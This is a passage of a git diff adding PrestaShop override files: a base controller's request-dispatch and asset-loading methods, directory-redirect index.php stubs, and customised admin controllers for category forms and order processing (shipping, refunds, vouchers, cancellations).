Tools::getValue('ajax') || Tools::isSubmit('ajax'); + } + + /** + * Start controller process (this method shouldn't be overriden !) + */ + public function run() + { + $this->init(); + if ($this->checkAccess()) + { + // setMedia MUST be called before postProcess + if (!$this->content_only && ($this->display_header || (isset($this->className) && $this->className))) + $this->setMedia(); + + // postProcess handles ajaxProcess + $this->postProcess(); + + if (!empty($this->redirect_after)) + $this->redirect(); + + if (!$this->content_only && ($this->display_header || (isset($this->className) && $this->className))) + $this->initHeader(); + + if ($this->viewAccess()) + $this->initContent(); + else + $this->errors[] = Tools::displayError('Access denied.'); + + if (!$this->content_only && ($this->display_footer || (isset($this->className) && $this->className))) + $this->initFooter(); + + // default behavior for ajax process is to use $_POST[action] or $_GET[action] + // then using displayAjax[action] + if ($this->ajax) + { + $action = Tools::getValue('action'); + if (!empty($action) && method_exists($this, 'displayAjax'.Tools::toCamelCase($action, true))) + $this->{'displayAjax'.$action}(); + elseif (method_exists($this, 'displayAjax')) + $this->displayAjax(); + } + else + $this->display(); + } + else + { + $this->initCursedPage(); + $this->smartyOutputContent($this->layout); + } + } + + public function displayHeader($display = true) + { + $this->display_header = $display; + } + + public function displayFooter($display = true) + { + $this->display_footer = $display; + } + + public function setTemplate($template) + { + $this->template = $template; + } + + /** + * Assign smarty variables for the page header + */ + abstract public function initHeader(); + + /** + * Assign smarty variables for the page main content + */ + abstract public function initContent(); + + /** + * Assign smarty variables when access is forbidden + */ + abstract public function initCursedPage(); + + /** + * Assign smarty variables for the page footer + */ + abstract public function initFooter(); + + /** + * Add a new stylesheet in page header. + * + * @param mixed $css_uri Path to css file, or list of css files like this : array(array(uri => media_type), ...) + * @param string $css_media_type + * @return true + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + if (is_array($css_uri)) + foreach ($css_uri as $css_file => $media) + { + if (is_string($css_file) && strlen($css_file) > 1) + { + $css_path = Media::getCSSPath($css_file, $media); + if ($css_path && !in_array($css_path, $this->css_files)) + $this->css_files = array_merge($this->css_files, $css_path); + } + else + { + $css_path = Media::getCSSPath($media, $css_media_type); + if ($css_path && !in_array($css_path, $this->css_files)) + $this->css_files = array_merge($this->css_files, $css_path); + } + } + else if (is_string($css_uri) && strlen($css_uri) > 1) + { + $css_path = Media::getCSSPath($css_uri, $css_media_type); + if ($css_path) + $this->css_files = array_merge($this->css_files, $css_path); + } + } + + /** + * Add a new javascript file in page header. + * + * @param mixed $js_uri + * @return void + */ + public function addJS($js_uri) + { + if (is_array($js_uri)) + foreach ($js_uri as $js_file) + { + $js_path = Media::getJSPath($js_file); + if ($js_path && !in_array($js_path, $this->js_files)) + $this->js_files[] = $js_path; + } + else + { + $js_path = Media::getJSPath($js_uri); + if ($js_path) + $this->js_files[] = $js_path; + } + } + + /** + * Add a new javascript file in page header. + * + * @param mixed $js_uri + * @return void + */ + public function addJquery($version = null, $folder = null, $minifier = true) + { + $this->addJS(Media::getJqueryPath($version, $folder, $minifier)); + } + + /** + * Add a new javascript file in page header. + * + * @param mixed $js_uri + * @return void + */ + public function addJqueryUI($component, $theme = 'base', $check_dependencies = true) + { + $ui_path = array(); + if (!is_array($component)) + $component = array($component); + + foreach ($component as $ui) + { + $ui_path = Media::getJqueryUIPath($ui, $theme, $check_dependencies); + $this->addCSS($ui_path['css']); + $this->addJS($ui_path['js']); + } + } + + /** + * Add a new javascript file in page header. + * + * @param mixed $js_uri + * @return void + */ + public function addJqueryPlugin($name, $folder = null) + { + $plugin_path = array(); + if (is_array($name)) + { + foreach ($name as $plugin) + { + $plugin_path = Media::getJqueryPluginPath($plugin, $folder); + if(!empty($plugin_path['js'])) + $this->addJS($plugin_path['js']); + if(!empty($plugin_path['css'])) + $this->addCSS($plugin_path['css']); + } + } + else + $plugin_path = Media::getJqueryPluginPath($name, $folder); + + if(!empty($plugin_path['css'])) + $this->addCSS($plugin_path['css']); + if(!empty($plugin_path['js'])) + $this->addJS($plugin_path['js']); + } + + /** + * @since 1.5 + * @return bool return true if Controller is called from XmlHttpRequest + */ + public function isXmlHttpRequest() + { + return (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'); + } + + protected function smartyOutputContent($content) + { + $this->context->cookie->write(); + $this->context->smarty->display($content); + } +} diff --git a/override/classes/range/index.php b/override/classes/range/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/range/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/shop/index.php b/override/classes/shop/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/shop/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/stock/index.php b/override/classes/stock/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/stock/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/tax/index.php b/override/classes/tax/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/tax/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/classes/webservice/index.php b/override/classes/webservice/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/classes/webservice/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/controllers/admin/AdminCategoriesController.php b/override/controllers/admin/AdminCategoriesController.php new file mode 100755 index 0000000..a921928 --- /dev/null +++ b/override/controllers/admin/AdminCategoriesController.php @@ -0,0 +1,240 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCategoriesController extends AdminCategoriesControllerCore +{ + + public function renderForm() + { + $this->initToolbar(); + $obj = $this->loadObject(true); + $id_shop = Context::getContext()->shop->id; + $selected_cat = array((isset($obj->id_parent) && $obj->isParentCategoryAvailable($id_shop))? (int)$obj->id_parent : (int)Tools::getValue('id_parent', Category::getRootCategory()->id)); + $unidentified = new Group(Configuration::get('PS_UNIDENTIFIED_GROUP')); + $guest = new Group(Configuration::get('PS_GUEST_GROUP')); + $default = new Group(Configuration::get('PS_CUSTOMER_GROUP')); + + $unidentified_group_information = sprintf($this->l('%s - All people without a valid customer account.'), ''.$unidentified->name[$this->context->language->id].''); + $guest_group_information = sprintf($this->l('%s - Customer who placed an order with the guest checkout.'), ''.$guest->name[$this->context->language->id].''); + $default_group_information = sprintf($this->l('%s - All people who have created an account on this site.'), ''.$default->name[$this->context->language->id].''); + $root_category = Category::getRootCategory(); + $root_category = array('id_category' => $root_category->id, 'name' => $root_category->name); + $this->fields_form = array( + 'tinymce' => true, + 'legend' => array( + 'title' => $this->l('Category'), + 'image' => '../img/admin/tab-categories.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'lang' => true, + 'size' => 48, + 'required' => true, + 'class' => 'copy2friendlyUrl', + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + ), + array( + 'type' => 'radio', + 'label' => $this->l('Displayed:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ), + array( + 'type' => 'categories', + 'label' => $this->l('Parent category:'), + 'name' => 'id_parent', + 'values' => array( + 'trads' => array( + 'Root' => $root_category, + 'selected' => $this->l('Selected'), + 'Collapse All' => $this->l('Collapse All'), + 'Expand All' => $this->l('Expand All') + ), + 'selected_cat' => $selected_cat, + 'input_name' => 'id_parent', + 'use_radio' => true, + 'use_search' => false, + 'disabled_categories' => array(4), + 'top_category' => Category::getTopCategory(), + 'use_context' => true, + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Root Category:'), + 'name' => 'is_root_category', + 'required' => false, + 'is_bool' => true, + 'class' => 't', + 'values' => array( + array( + 'id' => 'is_root_on', + 'value' => 1, + 'label' => $this->l('Yes') + ), + array( + 'id' => 'is_root_off', + 'value' => 0, + 'label' => $this->l('No') + ) + ) + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Description Courte:'), + 'name' => 'description_short', + 'lang' => true, + 'rows' => 10, + 'cols' => 100, + 'autoload_rte' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Description:'), + 'name' => 'description', + 'lang' => true, + 'rows' => 10, + 'cols' => 100, + 'autoload_rte' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'file', + 'label' => $this->l('Image:'), + 'name' => 'image', + 'display_image' => true, + 'desc' => $this->l('Upload a category logo from your computer.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta title:'), + 'name' => 'meta_title', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta description:'), + 'name' => 'meta_description', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}' + ), + array( + 'type' => 'tags', + 'label' => $this->l('Meta keywords:'), + 'name' => 'meta_keywords', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}', + 'desc' => $this->l('To add "tags," click in the field, write something, and then press "Enter."') + ), + array( + 'type' => 'text', + 'label' => $this->l('Friendly URL:'), + 'name' => 'link_rewrite', + 'lang' => true, + 'required' => true, + 'hint' => $this->l('Only letters and the minus (-) character are allowed.') + ), + array( + 'type' => 'group', + 'label' => $this->l('Group access:'), + 'name' => 'groupBox', + 'values' => Group::getGroups(Context::getContext()->language->id), + 'info_introduction' => $this->l('You now have three default customer groups.'), + 'unidentified' => $unidentified_group_information, + 'guest' => $guest_group_information, + 'customer' => $default_group_information, + 'desc' => $this->l('Mark all of the customer groups you;d like to have access to this category.') + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + $this->tpl_form_vars['shared_category'] = Validate::isLoadedObject($obj) && $obj->hasMultishopEntries(); + $this->tpl_form_vars['PS_ALLOW_ACCENTED_CHARS_URL'] = (int)Configuration::get('PS_ALLOW_ACCENTED_CHARS_URL'); + if (Shop::isFeatureActive()) + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + // remove category tree and radio button "is_root_category" if this category has the root category as parent category to avoid any conflict + if ($this->_category->id_parent == Category::getTopCategory()->id && Tools::isSubmit('updatecategory')) + foreach ($this->fields_form['input'] as $k => $input) + if (in_array($input['name'], array('id_parent', 'is_root_category'))) + unset($this->fields_form['input'][$k]); + + if (Tools::isSubmit('add'.$this->table.'root')) + unset($this->fields_form['input'][2],$this->fields_form['input'][3]); + + if (!($obj = $this->loadObject(true))) + return; + + $image = ImageManager::thumbnail(_PS_CAT_IMG_DIR_.'/'.$obj->id.'.jpg', $this->table.'_'.(int)$obj->id.'.'.$this->imageType, 350, $this->imageType, true); + + $this->fields_value = array( + 'image' => $image ? $image : false, + 'size' => $image ? filesize(_PS_CAT_IMG_DIR_.'/'.$obj->id.'.jpg') / 1000 : false + ); + + // Added values of object Group + $category_groups_ids = $obj->getGroups(); + + $groups = Group::getGroups($this->context->language->id); + // if empty $carrier_groups_ids : object creation : we set the default groups + if (empty($category_groups_ids)) + { + $preselected = array(Configuration::get('PS_UNIDENTIFIED_GROUP'), Configuration::get('PS_GUEST_GROUP'), Configuration::get('PS_CUSTOMER_GROUP')); + $category_groups_ids = array_merge($category_groups_ids, $preselected); + } + foreach ($groups as $group) + $this->fields_value['groupBox_'.$group['id_group']] = Tools::getValue('groupBox_'.$group['id_group'], (in_array($group['id_group'], $category_groups_ids))); + + return adminController::renderForm(); + } +} + diff --git a/override/controllers/admin/AdminMetaController.php b/override/controllers/admin/AdminMetaController.php new file mode 100644 index 0000000..8e775d5 --- /dev/null +++ b/override/controllers/admin/AdminMetaController.php @@ -0,0 +1,14 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminOrdersController extends AdminOrdersControllerCore +{ + + /** + * NON UTILISEE !! + * @param [type] + * @return [type] + */ + public function getTranslation($word){ + switch ($word) { + case 'no_carrier': + return $this->l('no carrier'); + break; + case 'no_number': + return $this->l('no number'); + break; + default: + break; + } + } + + public function postProcess() + { + // If id_order is sent, we instanciate a new Order object + if (Tools::isSubmit('id_order') && Tools::getValue('id_order') > 0) + { + $order = new Order(Tools::getValue('id_order')); + if (!Validate::isLoadedObject($order)) + throw new PrestaShopException('Can\'t load Order object'); + } + + /* Update shipping number */ + if (Tools::isSubmit('submitShippingNumber') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $order_carrier = new OrderCarrier(Tools::getValue('id_order_carrier')); + if (!Validate::isLoadedObject($order_carrier)) + $this->errors[] = Tools::displayError('The order carrier ID is invalid.'); + elseif (!Validate::isTrackingNumber(Tools::getValue('tracking_number'))) + $this->errors[] = Tools::displayError('The tracking number is incorrect.'); + else + { + // update shipping number + // Keep these two following lines for backward compatibility, remove on 1.6 version + $order->shipping_number = Tools::getValue('tracking_number'); + $order->update(); + + // Update order_carrier + $order_carrier->tracking_number = pSQL(Tools::getValue('tracking_number')); + if ($order_carrier->update()) + { + // Send mail to customer + $customer = new Customer((int)$order->id_customer); + $carrier = new Carrier((int)$order->id_carrier, $order->id_lang); + if (!Validate::isLoadedObject($customer)) + throw new PrestaShopException('Can\'t load Customer object'); + if (!Validate::isLoadedObject($carrier)) + throw new PrestaShopException('Can\'t load Carrier object'); + $templateVars = array( + '{followup}' => str_replace('@', $order->shipping_number, $carrier->url), + '{firstname}' => $customer->firstname, + '{lastname}' => $customer->lastname, + '{id_order}' => $order->id, + '{shipping_number}' => $order->shipping_number, + '{order_name}' => $order->getUniqReference() + ); + if (@Mail::Send((int)$order->id_lang, 'in_transit', Mail::l('Package in transit', (int)$order->id_lang), $templateVars, + $customer->email, $customer->firstname.' '.$customer->lastname, null, null, null, null, + _PS_MAIL_DIR_, true, (int)$order->id_shop)) + { + Hook::exec('actionAdminOrdersTrackingNumberUpdate', array('order' => $order)); + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=4&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('An error occurred while sending an email to the customer.'); + } + else + $this->errors[] = Tools::displayError('The order carrier cannot be updated.'); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + /* Change order state, add a new entry in order history and send an e-mail to the customer if needed */ + elseif (Tools::isSubmit('submitState') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $order_state = new OrderState(Tools::getValue('id_order_state')); + + if (!Validate::isLoadedObject($order_state)) + $this->errors[] = Tools::displayError('The new order status is invalid.'); + else + { + $current_order_state = $order->getCurrentOrderState(); + if ($current_order_state->id != $order_state->id) + { + // Create new OrderHistory + $history = new OrderHistory(); + $history->id_order = $order->id; + $history->id_employee = (int)$this->context->employee->id; + + $use_existings_payment = false; + if (!$order->hasInvoice()) + $use_existings_payment = true; + $history->changeIdOrderState((int)$order_state->id, $order, $use_existings_payment); + + $carrier = new Carrier($order->id_carrier, $order->id_lang); + $templateVars = array(); + if ($history->id_order_state == Configuration::get('PS_OS_SHIPPING') && $order->shipping_number){ + $templateVars = array( + '{followup}' => str_replace('@', $order->shipping_number, $carrier->url), + '{carrier}' => (!empty($carrier->name))?$carrier->name:$this->l('No carrier'), + '{shipping_number}' => $order->shipping_number + ); + } + + // Save all changes + if ($history->addWithemail(true, $templateVars)) + { + // synchronizes quantities if needed.. + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + { + foreach ($order->getProducts() as $product) + { + if (StockAvailable::dependsOnStock($product['product_id'])) + StockAvailable::synchronize($product['product_id'], (int)$product['id_shop']); + } + } + + Tools::redirectAdmin(self::$currentIndex.'&id_order='.(int)$order->id.'&vieworder&token='.$this->token); + } + $this->errors[] = Tools::displayError('An error occurred while changing order status, or we were unable to send an email to the customer.'); + } + else + $this->errors[] = Tools::displayError('The order has already been assigned this status.'); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + + /* Add a new message for the current order and send an e-mail to the customer if needed */ + elseif (Tools::isSubmit('submitMessage') && isset($order)) + { + if ($this->tabAccess['edit'] === '1') + { + $customer = new Customer(Tools::getValue('id_customer')); + if (!Validate::isLoadedObject($customer)) + $this->errors[] = Tools::displayError('The customer is invalid.'); + elseif (!Tools::getValue('message')) + $this->errors[] = Tools::displayError('The message cannot be blank.'); + else + { + /* Get message rules and and check fields validity */ + $rules = call_user_func(array('Message', 'getValidationRules'), 'Message'); + foreach ($rules['required'] as $field) + if (($value = Tools::getValue($field)) == false && (string)$value != '0') + if (!Tools::getValue('id_'.$this->table) || $field != 'passwd') + $this->errors[] = sprintf(Tools::displayError('field %s is required.'), $field); + foreach ($rules['size'] as $field => $maxLength) + if (Tools::getValue($field) && Tools::strlen(Tools::getValue($field)) > $maxLength) + $this->errors[] = sprintf(Tools::displayError('field %1$s is too long (%2$d chars max).'), $field, $maxLength); + foreach ($rules['validate'] as $field => $function) + if (Tools::getValue($field)) + if (!Validate::$function(htmlentities(Tools::getValue($field), ENT_COMPAT, 'UTF-8'))) + $this->errors[] = sprintf(Tools::displayError('field %s is invalid.'), $field); + + if (!count($this->errors)) + { + //check if a thread already exist + $id_customer_thread = CustomerThread::getIdCustomerThreadByEmailAndIdOrder($customer->email, $order->id); + if (!$id_customer_thread) + { + $customer_thread = new CustomerThread(); + $customer_thread->id_contact = 0; + $customer_thread->id_customer = (int)$order->id_customer; + $customer_thread->id_shop = (int)$this->context->shop->id; + $customer_thread->id_order = (int)$order->id; + $customer_thread->id_lang = (int)$this->context->language->id; + $customer_thread->email = $customer->email; + $customer_thread->status = 'open'; + $customer_thread->token = Tools::passwdGen(12); + $customer_thread->add(); + } + else + $customer_thread = new CustomerThread((int)$id_customer_thread); + + $customer_message = new CustomerMessage(); + $customer_message->id_customer_thread = $customer_thread->id; + $customer_message->id_employee = (int)$this->context->employee->id; + $customer_message->message = htmlentities(Tools::getValue('message'), ENT_COMPAT, 'UTF-8'); + $customer_message->private = Tools::getValue('visibility'); + + if (!$customer_message->add()) + $this->errors[] = Tools::displayError('An error occurred while saving the message.'); + elseif ($customer_message->private) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.(int)$order->id.'&vieworder&conf=11&token='.$this->token); + else + { + $message = $customer_message->message; + if (Configuration::get('PS_MAIL_TYPE', null, null, $order->id_shop) != Mail::TYPE_TEXT) + $message = Tools::nl2br($customer_message->message); + + $varsTpl = array( + '{lastname}' => $customer->lastname, + '{firstname}' => $customer->firstname, + '{id_order}' => $order->id, + '{order_name}' => $order->getUniqReference(), + '{message}' => $message + ); + if (@Mail::Send((int)$order->id_lang, 'order_merchant_comment', + Mail::l('New message regarding your order', (int)$order->id_lang), $varsTpl, $customer->email, + $customer->firstname.' '.$customer->lastname, null, null, null, null, _PS_MAIL_DIR_, true, (int)$order->id_shop)) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=11'.'&token='.$this->token); + } + $this->errors[] = Tools::displayError('An error occurred while sending an email to the customer.'); + } + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + + /* Partial refund from order */ + elseif (Tools::isSubmit('partialRefund') && isset($order)) + { + if ($this->tabAccess['edit'] == '1') + { + if (is_array($_POST['partialRefundProduct'])) + { + $amount = 0; + $order_detail_list = array(); + foreach ($_POST['partialRefundProduct'] as $id_order_detail => $amount_detail) + { + $order_detail_list[$id_order_detail]['quantity'] = (int)$_POST['partialRefundProductQuantity'][$id_order_detail]; + + if (empty($amount_detail)) + { + $order_detail = new OrderDetail((int)$id_order_detail); + $order_detail_list[$id_order_detail]['amount'] = $order_detail->unit_price_tax_incl * $order_detail_list[$id_order_detail]['quantity']; + } + else + $order_detail_list[$id_order_detail]['amount'] = (float)str_replace(',', '.', $amount_detail); + $amount += $order_detail_list[$id_order_detail]['amount']; + + $order_detail = new OrderDetail((int)$id_order_detail); + if (!$order->hasBeenDelivered() || ($order->hasBeenDelivered() && Tools::isSubmit('reinjectQuantities')) && $order_detail_list[$id_order_detail]['quantity'] > 0) + $this->reinjectQuantity($order_detail, $order_detail_list[$id_order_detail]['quantity']); + } + + $shipping_cost_amount = (float)str_replace(',', '.', Tools::getValue('partialRefundShippingCost')); + if ($shipping_cost_amount > 0) + $amount += $shipping_cost_amount; + + if ($amount > 0) + { + if (!OrderSlip::createPartialOrderSlip($order, $amount, $shipping_cost_amount, $order_detail_list)) + $this->errors[] = Tools::displayError('You cannot generate a partial credit slip.'); + + // Generate voucher + if (Tools::isSubmit('generateDiscountRefund') && !count($this->errors)) + { + $cart_rule = new CartRule(); + $cart_rule->description = sprintf($this->l('Credit card slip for order #%d'), $order->id); + $languages = Language::getLanguages(false); + foreach ($languages as $language) + // Define a temporary name + $cart_rule->name[$language['id_lang']] = sprintf('V0C%1$dO%2$d', $order->id_customer, $order->id); + + // Define a temporary code + $cart_rule->code = sprintf('V0C%1$dO%2$d', $order->id_customer, $order->id); + $cart_rule->quantity = 1; + $cart_rule->quantity_per_user = 1; + + // Specific to the customer + $cart_rule->id_customer = $order->id_customer; + $now = time(); + $cart_rule->date_from = date('Y-m-d H:i:s', $now); + $cart_rule->date_to = date('Y-m-d H:i:s', $now + (3600 * 24 * 365.25)); /* 1 year */ + $cart_rule->active = 1; + + $cart_rule->reduction_amount = $amount; + $cart_rule->reduction_tax = true; + $cart_rule->minimum_amount_currency = $order->id_currency; + $cart_rule->reduction_currency = $order->id_currency; + + if (!$cart_rule->add()) + $this->errors[] = Tools::displayError('You cannot generate a voucher.'); + else + { + // Update the voucher code and name + foreach ($languages as $language) + $cart_rule->name[$language['id_lang']] = sprintf('V%1$dC%2$dO%3$d', $cart_rule->id, $order->id_customer, $order->id); + $cart_rule->code = sprintf('V%1$dC%2$dO%3$d', $cart_rule->id, $order->id_customer, $order->id); + + if (!$cart_rule->update()) + $this->errors[] = Tools::displayError('You cannot generate a voucher.'); + else + { + $currency = $this->context->currency; + $customer = new Customer((int)($order->id_customer)); + $params['{lastname}'] = $customer->lastname; + $params['{firstname}'] = $customer->firstname; + $params['{id_order}'] = $order->id; + $params['{order_name}'] = $order->getUniqReference(); + $params['{voucher_amount}'] = Tools::displayPrice($cart_rule->reduction_amount, $currency, false); + $params['{voucher_num}'] = $cart_rule->code; + $customer = new Customer((int)$order->id_customer); + @Mail::Send((int)$order->id_lang, 'voucher', sprintf(Mail::l('New voucher regarding your order %s', (int)$order->id_lang), $order->reference), + $params, $customer->email, $customer->firstname.' '.$customer->lastname, null, null, null, + null, _PS_MAIL_DIR_, true, (int)$order->id_shop); + } + } + } + } + else + $this->errors[] = Tools::displayError('You have to enter an amount if you want to create a partial credit slip.'); + + // Redirect if no errors + if (!count($this->errors)) + Tools::redirectAdmin(self::$currentIndex.'&id_order='.$order->id.'&vieworder&conf=30&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('The partial refund data is incorrect.'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + + /* Cancel product from order */ + elseif (Tools::isSubmit('cancelProduct') && isset($order)) + { + if ($this->tabAccess['delete'] === '1') + { + if (!Tools::isSubmit('id_order_detail') && !Tools::isSubmit('id_customization')) + $this->errors[] = Tools::displayError('You must select a product.'); + elseif (!Tools::isSubmit('cancelQuantity') && !Tools::isSubmit('cancelCustomizationQuantity')) + $this->errors[] = Tools::displayError('You must enter a quantity.'); + else + { + $productList = Tools::getValue('id_order_detail'); + if ($productList) + $productList = array_map('intval', $productList); + + $customizationList = Tools::getValue('id_customization'); + if ($customizationList) + $customizationList = array_map('intval', $customizationList); + + $qtyList = Tools::getValue('cancelQuantity'); + if ($qtyList) + $qtyList = array_map('intval', $qtyList); + + $customizationQtyList = Tools::getValue('cancelCustomizationQuantity'); + if ($customizationQtyList) + $customizationQtyList = array_map('intval', $customizationQtyList); + + $full_product_list = $productList; + $full_quantity_list = $qtyList; + + if ($customizationList) + foreach ($customizationList as $key => $id_order_detail) + { + $full_product_list[(int)$id_order_detail] = $id_order_detail; + if (isset($customizationQtyList[$key])) + $full_quantity_list[(int)$id_order_detail] += $customizationQtyList[$key]; + } + + if ($productList || $customizationList) + { + if ($productList) + { + $id_cart = Cart::getCartIdByOrderId($order->id); + $customization_quantities = Customization::countQuantityByCart($id_cart); + + foreach ($productList as $key => $id_order_detail) + { + $qtyCancelProduct = abs($qtyList[$key]); + if (!$qtyCancelProduct) + $this->errors[] = Tools::displayError('No quantity has been selected for this product.'); + + $order_detail = new OrderDetail($id_order_detail); + $customization_quantity = 0; + if (array_key_exists($order_detail->product_id, $customization_quantities) && array_key_exists($order_detail->product_attribute_id, $customization_quantities[$order_detail->product_id])) + $customization_quantity = (int)$customization_quantities[$order_detail->product_id][$order_detail->product_attribute_id]; + + if (($order_detail->product_quantity - $customization_quantity - $order_detail->product_quantity_refunded - $order_detail->product_quantity_return) < $qtyCancelProduct) + $this->errors[] = Tools::displayError('An invalid quantity was selected for this product.'); + + } + } + if ($customizationList) + { + $customization_quantities = Customization::retrieveQuantitiesFromIds(array_keys($customizationList)); + + foreach ($customizationList as $id_customization => $id_order_detail) + { + $qtyCancelProduct = abs($customizationQtyList[$id_customization]); + $customization_quantity = $customization_quantities[$id_customization]; + + if (!$qtyCancelProduct) + $this->errors[] = Tools::displayError('No quantity has been selected for this product.'); + + if ($qtyCancelProduct > ($customization_quantity['quantity'] - ($customization_quantity['quantity_refunded'] + $customization_quantity['quantity_returned']))) + $this->errors[] = Tools::displayError('An invalid quantity was selected for this product.'); + } + } + + if (!count($this->errors) && $productList) + foreach ($productList as $key => $id_order_detail) + { + $qty_cancel_product = abs($qtyList[$key]); + $order_detail = new OrderDetail((int)($id_order_detail)); + + if (!$order->hasBeenDelivered() || ($order->hasBeenDelivered() && Tools::isSubmit('reinjectQuantities')) && $qty_cancel_product > 0) + $this->reinjectQuantity($order_detail, $qty_cancel_product); + + // Delete product + $order_detail = new OrderDetail((int)$id_order_detail); + if (!$order->deleteProduct($order, $order_detail, $qtyCancelProduct)) + $this->errors[] = Tools::displayError('An error occurred while attempting to delete the product.').' '.$order_detail->product_name.''; + Hook::exec('actionProductCancel', array('order' => $order, 'id_order_detail' => (int)$id_order_detail)); + } + if (!count($this->errors) && $customizationList) + foreach ($customizationList as $id_customization => $id_order_detail) + { + $order_detail = new OrderDetail((int)($id_order_detail)); + $qtyCancelProduct = abs($customizationQtyList[$id_customization]); + if (!$order->deleteCustomization($id_customization, $qtyCancelProduct, $order_detail)) + $this->errors[] = Tools::displayError('An error occurred while attempting to delete product customization.').' '.$id_customization; + } + // E-mail params + if ((Tools::isSubmit('generateCreditSlip') || Tools::isSubmit('generateDiscount')) && !count($this->errors)) + { + $customer = new Customer((int)($order->id_customer)); + $params['{lastname}'] = $customer->lastname; + $params['{firstname}'] = $customer->firstname; + $params['{id_order}'] = $order->id; + $params['{order_name}'] = 